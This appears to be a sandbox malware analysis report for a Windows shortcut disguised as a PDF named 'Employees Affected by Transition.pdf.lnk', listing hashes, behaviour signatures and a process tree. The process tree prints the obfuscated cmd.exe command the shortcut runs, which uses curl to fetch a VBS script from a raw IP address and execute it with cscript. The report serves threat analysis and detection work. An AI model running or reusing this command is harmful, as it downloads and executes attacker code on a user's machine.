Analysis

  • max time kernel
    122s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 22:24

General

  • Target

    Employees Affected by Transition.pdf.lnk

  • Size

    2KB

  • MD5

    53c61b0df8d77c23837ac1c96a45fff8

  • SHA1

    f3009ffaf2073c2d8bc342d59ea26cd8cd64c6b3

  • SHA256

    c71656ae097836b8e2b5012abacb9f8ef1f9efdaf2e15f054042efe329194c76

  • SHA512

    f4c0ac4a1e6c2e05480a06cb025ac3bf9ee0cd193fed398f83c96646fa144523587c9599b4ec097f25be12ee0255c8df56a4cd9e80fcab49e9e43f5f7c9ad9b8

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Employees Affected by Transition.pdf.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c wkJC || eCHo wkJC & pIN"g" wkJC || cUR"l" http://185.39.18.170/yWx/Ar -o C:\Users\Admin\AppData\Local\Temp\wkJC.vbs & pIN"g" -n 3 wkJC || c"sCR"iP"t" C:\Users\Admin\AppData\Local\Temp\wkJC.vbs & ExIt
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Windows\system32\PING.EXE
        pIN"g" wkJC
        3⤵
        • Runs ping.exe
        PID:2132
      • C:\Windows\system32\PING.EXE
        pIN"g" -n 3 wkJC
        3⤵
        • Runs ping.exe
        PID:2528
      • C:\Windows\system32\cscript.exe
        c"sCR"iP"t" C:\Users\Admin\AppData\Local\Temp\wkJC.vbs
        3⤵
          PID:2604

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads